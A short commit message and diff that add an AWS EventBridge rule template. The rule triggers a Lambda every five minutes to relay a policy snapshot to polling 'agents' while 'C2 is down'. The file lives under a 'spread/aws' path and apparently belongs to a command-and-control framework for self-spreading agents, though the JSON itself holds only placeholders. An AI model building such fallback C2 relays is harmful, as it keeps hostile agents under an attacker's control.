Add EventBridge policy fan-out for standalone degraded mode.

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.

server/web/public/spread/aws/eventbridge-rule.json

@@ -0,0 +1,12 @@
+{
+  "Comment": "AetherForge policy snapshot fan-out",
+  "ScheduleExpression": "rate(5 minutes)",
+  "State": "ENABLED",
+  "Targets": [
+    {
+      "Id": "PolicySnapshotRelay",
+      "Arn": "arn:aws:lambda:REGION:ACCOUNT:function:YOUR_FUNCTION",
+      "Input": "{\"poll_url\":\"{{POLICY_POLL_URL}}\",\"webhook_url\":\"{{WEBHOOK_URL}}\"}"
+    }
+  ]
+}